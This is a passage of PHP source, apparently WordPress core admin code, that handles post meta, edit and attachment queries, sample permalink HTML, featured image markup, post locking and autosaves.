// Post Meta.
//

/**
 * Adds post meta data defined in the `$_POST` superglobal for a post with given ID.
 *
 * @since 1.2.0
 *
 * @param int $post_id
 * @return int|bool
 */
function add_meta( $post_id ) {
	$post_id = (int) $post_id;

	$metakeyselect = isset( $_POST['metakeyselect'] ) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
	$metakeyinput  = isset( $_POST['metakeyinput'] ) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
	$metavalue     = isset( $_POST['metavalue'] ) ? $_POST['metavalue'] : '';
	if ( is_string( $metavalue ) ) {
		$metavalue = trim( $metavalue );
	}

	if ( ( ( '#NONE#' !== $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
		/*
		 * We have a key/value pair. If both the select and the input
		 * for the key have data, the input takes precedence.
		 */
		if ( '#NONE#' !== $metakeyselect ) {
			$metakey = $metakeyselect;
		}

		if ( $metakeyinput ) {
			$metakey = $metakeyinput; // Default.
		}

		if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_id, $metakey ) ) {
			return false;
		}

		$metakey = wp_slash( $metakey );

		return add_post_meta( $post_id, $metakey, $metavalue );
	}

	return false;
}

/**
 * Deletes post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int $mid
 * @return bool
 */
function delete_meta( $mid ) {
	return delete_metadata_by_mid( 'post', $mid );
}

/**
 * Returns a list of previously defined keys.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return string[] Array of meta key names.
 */
function get_meta_keys() {
	global $wpdb;

	$keys = $wpdb->get_col(
		"SELECT meta_key
		FROM $wpdb->postmeta
		GROUP BY meta_key
		ORDER BY meta_key"
	);

	return $keys;
}

/**
 * Returns post meta data by meta ID.
 *
 * @since 2.1.0
 *
 * @param int $mid
 * @return object|bool
 */
function get_post_meta_by_id( $mid ) {
	return get_metadata_by_mid( 'post', $mid );
}

/**
 * Returns meta data for the given post ID.
 *
 * @since 1.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $postid A post ID.
 * @return array[] {
 *     Array of meta data arrays for the given post ID.
 *
 *     @type array ...$0 {
 *         Associative array of meta data.
 *
 *         @type string $meta_key   Meta key.
 *         @type mixed  $meta_value Meta value.
 *         @type string $meta_id    Meta ID as a numeric string.
 *         @type string $post_id    Post ID as a numeric string.
 *     }
 * }
 */
function has_meta( $postid ) {
	global $wpdb;

	return $wpdb->get_results(
		$wpdb->prepare(
			"SELECT meta_key, meta_value, meta_id, post_id
			FROM $wpdb->postmeta WHERE post_id = %d
			ORDER BY meta_key,meta_id",
			$postid
		),
		ARRAY_A
	);
}

/**
 * Updates post meta data by meta ID.
 *
 * @since 1.2.0
 *
 * @param int    $meta_id    Meta ID.
 * @param string $meta_key   Meta key. Expect slashed.
 * @param string $meta_value Meta value. Expect slashed.
 * @return bool
 */
function update_meta( $meta_id, $meta_key, $meta_value ) {
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

	return update_metadata_by_mid( 'post', $meta_id, $meta_value, $meta_key );
}

//
// Private.
//

/**
 * Replaces hrefs of attachment anchors with up-to-date permalinks.
 *
 * @since 2.3.0
 * @access private
 *
 * @param int|object $post Post ID or post object.
 * @return void|int|WP_Error Void if nothing fixed. 0 or WP_Error on update failure. The post ID on update success.
 */
function _fix_attachment_links( $post ) {
	$post    = get_post( $post, ARRAY_A );
	$content = $post['post_content'];

	// Don't run if no pretty permalinks or post is not published, scheduled, or privately published.
	if ( ! get_option( 'permalink_structure' ) || ! in_array( $post['post_status'], array( 'publish', 'future', 'private' ), true ) ) {
		return;
	}

	// Short if there aren't any links or no '?attachment_id=' strings (strpos cannot be zero).
	if ( ! strpos( $content, '?attachment_id=' ) || ! preg_match_all( '/<a ([^>]+)>[\s\S]+?<\/a>/', $content, $link_matches ) ) {
		return;
	}

	$site_url = get_bloginfo( 'url' );
	$site_url = substr( $site_url, (int) strpos( $site_url, '://' ) ); // Remove the http(s).
	$replace  = '';

	foreach ( $link_matches[1] as $key => $value ) {
		if ( ! strpos( $value, '?attachment_id=' ) || ! strpos( $value, 'wp-att-' )
			|| ! preg_match( '/href=(["\'])[^"\']*\?attachment_id=(\d+)[^"\']*\\1/', $value, $url_match )
			|| ! preg_match( '/rel=["\'][^"\']*wp-att-(\d+)/', $value, $rel_match ) ) {
				continue;
		}

		$quote  = $url_match[1]; // The quote (single or double).
		$url_id = (int) $url_match[2];
		$rel_id = (int) $rel_match[1];

		if ( ! $url_id || ! $rel_id || $url_id != $rel_id || ! str_contains( $url_match[0], $site_url ) ) {
			continue;
		}

		$link    = $link_matches[0][ $key ];
		$replace = str_replace( $url_match[0], 'href=' . $quote . get_attachment_link( $url_id ) . $quote, $link );

		$content = str_replace( $link, $replace, $content );
	}

	if ( $replace ) {
		$post['post_content'] = $content;
		// Escape data pulled from DB.
		$post = add_magic_quotes( $post );

		return wp_update_post( $post );
	}
}

/**
 * Returns all the possible statuses for a post type.
 *
 * @since 2.5.0
 *
 * @param string $type The post_type you want the statuses for. Default 'post'.
 * @return string[] An array of all the statuses for the supplied post type.
 */
function get_available_post_statuses( $type = 'post' ) {
	$stati = wp_count_posts( $type );

	return array_keys( get_object_vars( $stati ) );
}

/**
 * Runs the query to fetch the posts for listing on the edit posts page.
 *
 * @since 2.5.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array
 */
function wp_edit_posts_query( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']     = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']   = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$post_stati = get_post_stati();

	if ( isset( $q['post_type'] ) && in_array( $q['post_type'], get_post_types(), true ) ) {
		$post_type = $q['post_type'];
	} else {
		$post_type = 'post';
	}

	$avail_post_stati = get_available_post_statuses( $post_type );
	$post_status      = '';
	$perm             = '';

	if ( isset( $q['post_status'] ) && in_array( $q['post_status'], $post_stati, true ) ) {
		$post_status = $q['post_status'];
		$perm        = 'readable';
	}

	$orderby = '';

	if ( isset( $q['orderby'] ) ) {
		$orderby = $q['orderby'];
	} elseif ( isset( $q['post_status'] ) && in_array( $q['post_status'], array( 'pending', 'draft' ), true ) ) {
		$orderby = 'modified';
	}

	$order = '';

	if ( isset( $q['order'] ) ) {
		$order = $q['order'];
	} elseif ( isset( $q['post_status'] ) && 'pending' === $q['post_status'] ) {
		$order = 'ASC';
	}

	$per_page       = "edit_{$post_type}_per_page";
	$posts_per_page = (int) get_user_option( $per_page );
	if ( empty( $posts_per_page ) || $posts_per_page < 1 ) {
		$posts_per_page = 20;
	}

	/**
	 * Filters the number of items per page to show for a specific 'per_page' type.
	 *
	 * The dynamic portion of the hook name, `$post_type`, refers to the post type.
	 *
	 * Possible hook names include:
	 *
	 *  - `edit_post_per_page`
	 *  - `edit_page_per_page`
	 *  - `edit_attachment_per_page`
	 *
	 * @since 3.0.0
	 *
	 * @param int $posts_per_page Number of posts to display per page for the given post
	 *                            type. Default 20.
	 */
	$posts_per_page = apply_filters( "edit_{$post_type}_per_page", $posts_per_page );

	/**
	 * Filters the number of posts displayed per page when specifically listing "posts".
	 *
	 * @since 2.8.0
	 *
	 * @param int    $posts_per_page Number of posts to be displayed. Default 20.
	 * @param string $post_type      The post type.
	 */
	$posts_per_page = apply_filters( 'edit_posts_per_page', $posts_per_page, $post_type );

	$query = compact( 'post_type', 'post_status', 'perm', 'order', 'orderby', 'posts_per_page' );

	// Hierarchical types require special args.
	if ( is_post_type_hierarchical( $post_type ) && empty( $orderby ) ) {
		$query['orderby']                = 'menu_order title';
		$query['order']                  = 'asc';
		$query['posts_per_page']         = -1;
		$query['posts_per_archive_page'] = -1;
		$query['fields']                 = 'id=>parent';
	}

	if ( ! empty( $q['show_sticky'] ) ) {
		$query['post__in'] = (array) get_option( 'sticky_posts' );
	}

	wp( $query );

	return $avail_post_stati;
}

/**
 * Returns the query variables for the current attachments request.
 *
 * @since 4.2.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array The parsed query vars.
 */
function wp_edit_attachments_query_vars( $q = false ) {
	if ( false === $q ) {
		$q = $_GET;
	}
	$q['m']         = isset( $q['m'] ) ? (int) $q['m'] : 0;
	$q['cat']       = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
	$q['post_type'] = 'attachment';
	$post_type      = get_post_type_object( 'attachment' );
	$states         = 'inherit';
	if ( current_user_can( $post_type->cap->read_private_posts ) ) {
		$states .= ',private';
	}

	$q['post_status'] = isset( $q['status'] ) && 'trash' === $q['status'] ? 'trash' : $states;
	$q['post_status'] = isset( $q['attachment-filter'] ) && 'trash' === $q['attachment-filter'] ? 'trash' : $states;

	$media_per_page = (int) get_user_option( 'upload_per_page' );
	if ( empty( $media_per_page ) || $media_per_page < 1 ) {
		$media_per_page = 20;
	}

	/**
	 * Filters the number of items to list per page when listing media items.
	 *
	 * @since 2.9.0
	 *
	 * @param int $media_per_page Number of media to list. Default 20.
	 */
	$q['posts_per_page'] = apply_filters( 'upload_per_page', $media_per_page );

	$post_mime_types = get_post_mime_types();
	if ( isset( $q['post_mime_type'] ) && ! array_intersect( (array) $q['post_mime_type'], array_keys( $post_mime_types ) ) ) {
		unset( $q['post_mime_type'] );
	}

	foreach ( array_keys( $post_mime_types ) as $type ) {
		if ( isset( $q['attachment-filter'] ) && "post_mime_type:$type" === $q['attachment-filter'] ) {
			$q['post_mime_type'] = $type;
			break;
		}
	}

	if ( isset( $q['detached'] ) || ( isset( $q['attachment-filter'] ) && 'detached' === $q['attachment-filter'] ) ) {
		$q['post_parent'] = 0;
	}

	if ( isset( $q['mine'] ) || ( isset( $q['attachment-filter'] ) && 'mine' === $q['attachment-filter'] ) ) {
		$q['author'] = get_current_user_id();
	}

	// Filter query clauses to include filenames.
	if ( isset( $q['s'] ) ) {
		add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
	}

	return $q;
}

/**
 * Executes a query for attachments. An array of WP_Query arguments
 * can be passed in, which will override the arguments set by this function.
 *
 * @since 2.5.0
 *
 * @param array|false $q Optional. Array of query variables to use to build the query.
 *                       Defaults to the `$_GET` superglobal.
 * @return array
 */
function wp_edit_attachments_query( $q = false ) {
	wp( wp_edit_attachments_query_vars( $q ) );

	$post_mime_types       = get_post_mime_types();
	$avail_post_mime_types = get_available_post_mime_types( 'attachment' );

	return array( $post_mime_types, $avail_post_mime_types );
}

/**
 * Returns the list of classes to be used by a meta box.
 *
 * @since 2.5.0
 *
 * @param string $box_id    Meta box ID (used in the 'id' attribute for the meta box).
 * @param string $screen_id The screen on which the meta box is shown.
 * @return string Space-separated string of class names.
 */
function postbox_classes( $box_id, $screen_id ) {
	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $box_id ) {
		$classes = array( '' );
	} elseif ( get_user_option( 'closedpostboxes_' . $screen_id ) ) {
		$closed = get_user_option( 'closedpostboxes_' . $screen_id );
		if ( ! is_array( $closed ) ) {
			$classes = array( '' );
		} else {
			$classes = in_array( $box_id, $closed, true ) ? array( 'closed' ) : array( '' );
		}
	} else {
		$classes = array( '' );
	}

	/**
	 * Filters the postbox classes for a specific screen and box ID combo.
	 *
	 * The dynamic portions of the hook name, `$screen_id` and `$box_id`, refer to
	 * the screen ID and meta box ID, respectively.
	 *
	 * @since 3.2.0
	 *
	 * @param string[] $classes An array of postbox classes.
	 */
	$classes = apply_filters( "postbox_classes_{$screen_id}_{$box_id}", $classes );

	return implode( ' ', $classes );
}

/**
 * Returns a sample permalink based on the post name.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post  Post ID or post object.
 * @param string|null $title Optional. Title to override the post's current title
 *                           when generating the post name. Default null.
 * @param string|null $name  Optional. Name to override the post name. Default null.
 * @return array {
 *     Array containing the sample permalink with placeholder for the post name, and the post name.
 *
 *     @type string $0 The permalink with placeholder for the post name.
 *     @type string $1 The post name.
 * }
 */
function get_sample_permalink( $post, $title = null, $name = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return array( '', '' );
	}

	$ptype = get_post_type_object( $post->post_type );

	$original_status = $post->post_status;
	$original_date   = $post->post_date;
	$original_name   = $post->post_name;
	$original_filter = $post->filter;

	// Hack: get_permalink() would return plain permalink for drafts, so we will fake that our post is published.
	if ( in_array( $post->post_status, array( 'draft', 'pending', 'future' ), true ) ) {
		$post->post_status = 'publish';
		$post->post_name   = sanitize_title( $post->post_name ? $post->post_name : $post->post_title, $post->ID );
	}

	/*
	 * If the user wants to set a new name -- override the current one.
	 * Note: if empty name is supplied -- use the title instead, see #6072.
	 */
	if ( ! is_null( $name ) ) {
		$post->post_name = sanitize_title( $name ? $name : $title, $post->ID );
	}

	$post->post_name = wp_unique_post_slug( $post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent );

	$post->filter = 'sample';

	$permalink = get_permalink( $post, true );

	// Replace custom post_type token with generic pagename token for ease of use.
	$permalink = str_replace( "%$post->post_type%", '%pagename%', $permalink );

	// Handle page hierarchy.
	if ( $ptype->hierarchical ) {
		$uri = get_page_uri( $post );
		if ( $uri ) {
			$uri = untrailingslashit( $uri );
			$uri = strrev( stristr( strrev( $uri ), '/' ) );
			$uri = untrailingslashit( $uri );
		}

		/** This filter is documented in wp-admin/edit-tag-form.php */
		$uri = apply_filters( 'editable_slug', $uri, $post );
		if ( ! empty( $uri ) ) {
			$uri .= '/';
		}
		$permalink = str_replace( '%pagename%', "{$uri}%pagename%", $permalink );
	}

	/** This filter is documented in wp-admin/edit-tag-form.php */
	$permalink         = array( $permalink, apply_filters( 'editable_slug', $post->post_name, $post ) );
	$post->post_status = $original_status;
	$post->post_date   = $original_date;
	$post->post_name   = $original_name;
	$post->filter      = $original_filter;

	/**
	 * Filters the sample permalink.
	 *
	 * @since 4.4.0
	 *
	 * @param array   $permalink {
	 *     Array containing the sample permalink with placeholder for the post name, and the post name.
	 *
	 *     @type string $0 The permalink with placeholder for the post name.
	 *     @type string $1 The post name.
	 * }
	 * @param int     $post_id Post ID.
	 * @param string  $title   Post title.
	 * @param string  $name    Post name (slug).
	 * @param WP_Post $post    Post object.
	 */
	return apply_filters( 'get_sample_permalink', $permalink, $post->ID, $title, $name, $post );
}

/**
 * Returns the HTML of the sample permalink slug editor.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post      Post ID or post object.
 * @param string|null $new_title Optional. New title. Default null.
 * @param string|null $new_slug  Optional. New slug. Default null.
 * @return string The HTML of the sample permalink slug editor.
 */
function get_sample_permalink_html( $post, $new_title = null, $new_slug = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return '';
	}

	list($permalink, $post_name) = get_sample_permalink( $post->ID, $new_title, $new_slug );

	$view_link      = false;
	$preview_target = '';

	if ( current_user_can( 'read_post', $post->ID ) ) {
		if ( 'draft' === $post->post_status || empty( $post->post_name ) ) {
			$view_link      = get_preview_post_link( $post );
			$preview_target = " target='wp-preview-{$post->ID}'";
		} else {
			if ( 'publish' === $post->post_status || 'attachment' === $post->post_type ) {
				$view_link = get_permalink( $post );
			} else {
				// Allow non-published (private, future) to be viewed at a pretty permalink, in case $post->post_name is set.
				$view_link = str_replace( array( '%pagename%', '%postname%' ), $post->post_name, $permalink );
			}
		}
	}

	// Permalinks without a post/page name placeholder don't have anything to edit.
	if ( ! str_contains( $permalink, '%postname%' ) && ! str_contains( $permalink, '%pagename%' ) ) {
		$return = '<strong>' . __( 'Permalink:' ) . "</strong>\n";

		if ( false !== $view_link ) {
			$display_link = urldecode( $view_link );
			$return      .= '<a id="sample-permalink" href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . esc_html( $display_link ) . "</a>\n";
		} else {
			$return .= '<span id="sample-permalink">' . $permalink . "</span>\n";
		}

		// Encourage a pretty permalink setting.
		if ( ! get_option( 'permalink_structure' ) && current_user_can( 'manage_options' )
			&& ! ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post->ID )
		) {
			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button button-small">' . __( 'Change Permalink Structure' ) . "</a></span>\n";
		}
	} else {
		if ( mb_strlen( $post_name ) > 34 ) {
			$post_name_abridged = mb_substr( $post_name, 0, 16 ) . '&hellip;' . mb_substr( $post_name, -16 );
		} else {
			$post_name_abridged = $post_name;
		}

		$post_name_html = '<span id="editable-post-name">' . esc_html( $post_name_abridged ) . '</span>';
		$display_link   = str_replace( array( '%pagename%', '%postname%' ), $post_name_html, esc_html( urldecode( $permalink ) ) );

		$return  = '<strong>' . __( 'Permalink:' ) . "</strong>\n";
		$return .= '<span id="sample-permalink"><a href="' . esc_url( $view_link ) . '"' . $preview_target . '>' . $display_link . "</a></span>\n";
		$return .= '&lrm;'; // Fix bi-directional text display defect in RTL languages.
		$return .= '<span id="edit-slug-buttons"><button type="button" class="edit-slug button button-small hide-if-no-js" aria-label="' . __( 'Edit permalink' ) . '">' . __( 'Edit' ) . "</button></span>\n";
		$return .= '<span id="editable-post-name-full">' . esc_html( $post_name ) . "</span>\n";
	}

	/**
	 * Filters the sample permalink HTML markup.
	 *
	 * @since 2.9.0
	 * @since 4.4.0 Added `$post` parameter.
	 *
	 * @param string      $return    Sample permalink HTML markup.
	 * @param int         $post_id   Post ID.
	 * @param string|null $new_title New sample permalink title.
	 * @param string|null $new_slug  New sample permalink slug.
	 * @param WP_Post     $post      Post object.
	 */
	$return = apply_filters( 'get_sample_permalink_html', $return, $post->ID, $new_title, $new_slug, $post );

	return $return;
}

/**
 * Returns HTML for the post thumbnail meta box.
 *
 * @since 2.9.0
 *
 * @param int|null         $thumbnail_id Optional. Thumbnail attachment ID. Default null.
 * @param int|WP_Post|null $post         Optional. The post ID or object associated
 *                                       with the thumbnail. Defaults to global $post.
 * @return string The post thumbnail HTML.
 */
function _wp_post_thumbnail_html( $thumbnail_id = null, $post = null ) {
	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	$post               = get_post( $post );
	$post_type_object   = get_post_type_object( $post->post_type );
	$set_thumbnail_link = '<p class="hide-if-no-js"><a href="%s" id="set-post-thumbnail"%s class="thickbox">%s</a></p>';
	$upload_iframe_src  = get_upload_iframe_src( 'image', $post->ID );

	$content = sprintf(
		$set_thumbnail_link,
		esc_url( $upload_iframe_src ),
		'', // Empty when there's no featured image set, `aria-describedby` attribute otherwise.
		esc_html( $post_type_object->labels->set_featured_image )
	);

	if ( $thumbnail_id && get_post( $thumbnail_id ) ) {
		$size = isset( $_wp_additional_image_sizes['post-thumbnail'] ) ? 'post-thumbnail' : array( 266, 266 );

		/**
		 * Filters the size used to display the post thumbnail image in the 'Featured image' meta box.
		 *
		 * Note: When a theme adds 'post-thumbnail' support, a special 'post-thumbnail'
		 * image size is registered, which differs from the 'thumbnail' image size
		 * managed via the Settings > Media screen.
		 *
		 * @since 4.4.0
		 *
		 * @param string|int[] $size         Requested image size. Can be any registered image size name, or
		 *                                   an array of width and height values in pixels (in that order).
		 * @param int          $thumbnail_id Post thumbnail attachment ID.
		 * @param WP_Post      $post         The post object associated with the thumbnail.
		 */
		$size = apply_filters( 'admin_post_thumbnail_size', $size, $thumbnail_id, $post );

		$thumbnail_html = wp_get_attachment_image( $thumbnail_id, $size );

		if ( ! empty( $thumbnail_html ) ) {
			$content  = sprintf(
				$set_thumbnail_link,
				esc_url( $upload_iframe_src ),
				' aria-describedby="set-post-thumbnail-desc"',
				$thumbnail_html
			);
			$content .= '<p class="hide-if-no-js howto" id="set-post-thumbnail-desc">' . __( 'Click the image to edit or update' ) . '</p>';
			$content .= '<p class="hide-if-no-js"><a href="#" id="remove-post-thumbnail">' . esc_html( $post_type_object->labels->remove_featured_image ) . '</a></p>';
		}
	}

	$content .= '<input type="hidden" id="_thumbnail_id" name="_thumbnail_id" value="' . esc_attr( $thumbnail_id ? $thumbnail_id : '-1' ) . '" />';

	/**
	 * Filters the admin post thumbnail HTML markup to return.
	 *
	 * @since 2.9.0
	 * @since 3.5.0 Added the `$post_id` parameter.
	 * @since 4.6.0 Added the `$thumbnail_id` parameter.
	 *
	 * @param string   $content      Admin post thumbnail HTML markup.
	 * @param int      $post_id      Post ID.
	 * @param int|null $thumbnail_id Thumbnail attachment ID, or null if there isn't one.
	 */
	return apply_filters( 'admin_post_thumbnail_html', $content, $post->ID, $thumbnail_id );
}

/**
 * Determines whether the post is currently being edited by another user.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post ID or object of the post to check for editing.
 * @return int|false ID of the user with lock. False if the post does not exist, post is not locked,
 *                   the user with lock does not exist, or the post is locked by current user.
 */
function wp_check_post_lock( $post ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$lock = get_post_meta( $post->ID, '_edit_lock', true );

	if ( ! $lock ) {
		return false;
	}

	$lock = explode( ':', $lock );
	$time = $lock[0];
	$user = isset( $lock[1] ) ? $lock[1] : get_post_meta( $post->ID, '_edit_last', true );

	if ( ! get_userdata( $user ) ) {
		return false;
	}

	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$time_window = apply_filters( 'wp_check_post_lock_window', 150 );

	if ( $time && $time > time() - $time_window && get_current_user_id() != $user ) {
		return $user;
	}

	return false;
}

/**
 * Marks the post as currently being edited by the current user.
 *
 * @since 2.5.0
 *
 * @param int|WP_Post $post ID or object of the post being edited.
 * @return array|false {
 *     Array of the lock time and user ID. False if the post does not exist, or there
 *     is no current user.
 *
 *     @type int $0 The current time as a Unix timestamp.
 *     @type int $1 The ID of the current user.
 * }
 */
function wp_set_post_lock( $post ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$user_id = get_current_user_id();

	if ( 0 == $user_id ) {
		return false;
	}

	$now  = time();
	$lock = "$now:$user_id";

	update_post_meta( $post->ID, '_edit_lock', $lock );

	return array( $now, $user_id );
}

/**
 * Outputs the HTML for the notice to say that someone else is editing or has taken over editing of this post.
 *
 * @since 2.8.5
 */
function _admin_notice_post_locked() {
	$post = get_post();

	if ( ! $post ) {
		return;
	}

	$user    = null;
	$user_id = wp_check_post_lock( $post->ID );

	if ( $user_id ) {
		$user = get_userdata( $user_id );
	}

	if ( $user ) {
		/**
		 * Filters whether to show the post locked dialog.
		 *
		 * Returning false from the filter will prevent the dialog from being displayed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $display Whether to display the dialog. Default true.
		 * @param WP_Post $post    Post object.
		 * @param WP_User $user    The user with the lock for the post.
		 */
		if ( ! apply_filters( 'show_post_locked_dialog', true, $post, $user ) ) {
			return;
		}

		$locked = true;
	} else {
		$locked = false;
	}

	$sendback = wp_get_referer();
	if ( $locked && $sendback && ! str_contains( $sendback, 'post.php' ) && ! str_contains( $sendback, 'post-new.php' ) ) {

		$sendback_text = __( 'Go back' );
	} else {
		$sendback = admin_url( 'edit.php' );

		if ( 'post' !== $post->post_type ) {
			$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
		}

		$sendback_text = get_post_type_object( $post->post_type )->labels->all_items;
	}

	$hidden = $locked ? '' : ' hidden';

	?>
	<div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>">
	<div class="notification-dialog-background"></div>
	<div class="notification-dialog">
	<?php

	if ( $locked ) {
		$query_args = array();
		if ( get_post_type_object( $post->post_type )->public ) {
			if ( 'publish' === $post->post_status || $user->ID != $post->post_author ) {
				// Latest content is in autosave.
				$nonce                       = wp_create_nonce( 'post_preview_' . $post->ID );
				$query_args['preview_id']    = $post->ID;
				$query_args['preview_nonce'] = $nonce;
			}
		}

		$preview_link = get_preview_post_link( $post->ID, $query_args );

		/**
		 * Filters whether to allow the post lock to be overridden.
		 *
		 * Returning false from the filter will disable the ability
		 * to override the post lock.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $override Whether to allow the post lock to be overridden. Default true.
		 * @param WP_Post $post     Post object.
		 * @param WP_User $user     The user with the lock for the post.
		 */
		$override = apply_filters( 'override_post_lock', true, $post, $user );
		$tab_last = $override ? '' : ' wp-tab-last';

		?>
		<div class="post-locked-message">
		<div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div>
		<p class="currently-editing wp-tab-first" tabindex="0">
		<?php
		if ( $override ) {
			/* translators: %s: User's display name. */
			printf( __( '%s is currently editing this post. Do you want to take over?' ), esc_html( $user->display_name ) );
		} else {
			/* translators: %s: User's display name. */
			printf( __( '%s is currently editing this post.' ), esc_html( $user->display_name ) );
		}
		?>
		</p>
		<?php
		/**
		 * Fires inside the post locked dialog before the buttons are displayed.
		 *
		 * @since 3.6.0
		 * @since 5.4.0 The $user parameter was added.
		 *
		 * @param WP_Post $post Post object.
		 * @param WP_User $user The user with the lock for the post.
		 */
		do_action( 'post_locked_dialog', $post, $user );
		?>
		<p>
		<a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a>
		<?php if ( $preview_link ) { ?>
		<a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e( 'Preview' ); ?></a>
			<?php
		}

		// Allow plugins to prevent some users overriding the post lock.
		if ( $override ) {
			?>
	<a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', wp_nonce_url( get_edit_post_link( $post->ID, 'url' ), 'lock-post_' . $post->ID ) ) ); ?>"><?php _e( 'Take over' ); ?></a>
			<?php
		}

		?>
		</p>
		</div>
		<?php
	} else {
		?>
		<div class="post-taken-over">
			<div class="post-locked-avatar"></div>
			<p class="wp-tab-first" tabindex="0">
			<span class="currently-editing"></span><br />
			<span class="locked-saving hidden"><img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" width="16" height="16" alt="" /> <?php _e( 'Saving revision&hellip;' ); ?></span>
			<span class="locked-saved hidden"><?php _e( 'Your latest changes were saved as a revision.' ); ?></span>
			</p>
			<?php
			/**
			 * Fires inside the dialog displayed when a user has lost the post lock.
			 *
			 * @since 3.6.0
			 *
			 * @param WP_Post $post Post object.
			 */
			do_action( 'post_lock_lost_dialog', $post );
			?>
			<p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p>
		</div>
		<?php
	}

	?>
	</div>
	</div>
	<?php
}

/**
 * Creates autosave data for the specified post from `$_POST` data.
 *
 * @since 2.6.0
 *
 * @param array|int $post_data Associative array containing the post data, or integer post ID.
 *                             If a numeric post ID is provided, will use the `$_POST` superglobal.
 * @return int|WP_Error The autosave revision ID. WP_Error or 0 on error.
 */
function wp_create_post_autosave( $post_data ) {
	if ( is_numeric( $post_data ) ) {
		$post_id   = $post_data;
		$post_data = $_POST;
	} else {
		$post_id = (int) $post_data['post_ID'];
	}

	$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}
	$post_data = _wp_get_allowed_postdata( $post_data );

	$post_author = get_current_user_id();

	// Store one autosave per author. If there is already an autosave, overwrite it.
	$old_autosave = wp_get_post_autosave( $post_id, $post_author );
	if ( $old_autosave ) {
		$new_autosave                = _wp_post_revision_data( $post_data, true );
		$new_autosave['ID']          = $old_autosave->ID;
		$new_autosave['post_author'] = $post_author;

		$post = get_post( $post_id );

		// If the new autosave has the same content as the post, delete the autosave.
		$autosave_is_different = false;
		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields( $post ) ) ) as $field ) {
			if ( normalize_whitespace( $new_autosave[ $field ] ) !== normalize_whitespace( $post->$field ) ) {
				$autosave_is_different = true;
				break;
			}
		}

		if ( ! $autosave_is_different ) {
			wp_delete_post_revision( $old_autosave->ID );
			return 0;
		}

		/**
		 * Fires before an autosave is stored.
		 *
		 * @since 4.1.0
		 * @since 6.4.0 The `$is_update` parameter was added to indicate if the autosave is being updated or was newly created.
		 *
		 * @param array $new_autosave Post array - the autosave that is about to be saved.
		 * @param bool  $is_update    Whether this is an existing autosave.
		 */
		do_action( 'wp_creating_autosave', $new_autosave, true );
		return wp_update_post( $new_autosave );
	}

	// _wp_put_post_revision() expects unescaped.
	$post_data = wp_unslash( $post_data );

	// Otherwise create the new autosave as a special post revision.
	$revision = _wp_put_post_revision( $post_data, true );

	if ( ! is_wp_error( $revision ) && 0 !== $revision ) {

		/** This action is documented in wp-admin/includes/post.php */
		do_action( 'wp_creating_autosave', get_post( $revision, ARRAY_A ), false );
	}

	return $revision;
}

/**
 * Autosave the revisioned meta fields.
 *
 * Iterates through the revisioned meta fields and checks each to see if they are set,
 * and have a changed value. If so, the meta value is saved and attached to the autosave.
 *
 * @since 6.4.0
 *
 * @param array $new_autosave The new post data being autosaved.
 */
function wp_autosave_post_revisioned_meta_fields( $new_autosave ) {
	/*
	 * The post data arrives as either $_POST['data']['wp_autosave'] or the $_POST
	 * itself. This sets $posted_data to the correct variable.
	 *
	 * Ignoring sanitization to avoid altering meta. Ignoring the nonce check because
	 * this is hooked on inner core hooks where a valid nonce was already checked.
	 */
	$posted_data = isset( $_POST['data']['wp_autosave'] ) ? $_POST['data']['wp_autosave'] : $_POST;

	$post_type = get_post_type( $new_autosave['post_parent'] );

	/*
	 * Go thru the revisioned meta keys and save them as part of the autosave, if
	 * the meta key is part of the posted data, the meta value is not blank and
	 * the the meta value has changes from the last autosaved value.
	 */
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		if (
		isset( $posted_data[ $meta_key ] ) &&
		get_post_meta( $new_autosave['ID'], $meta_key, true ) !== wp_unslash( $posted_data[ $meta_key ] )
		) {
			/*
			 * Use the underlying delete_metadata() and add_metadata() functions
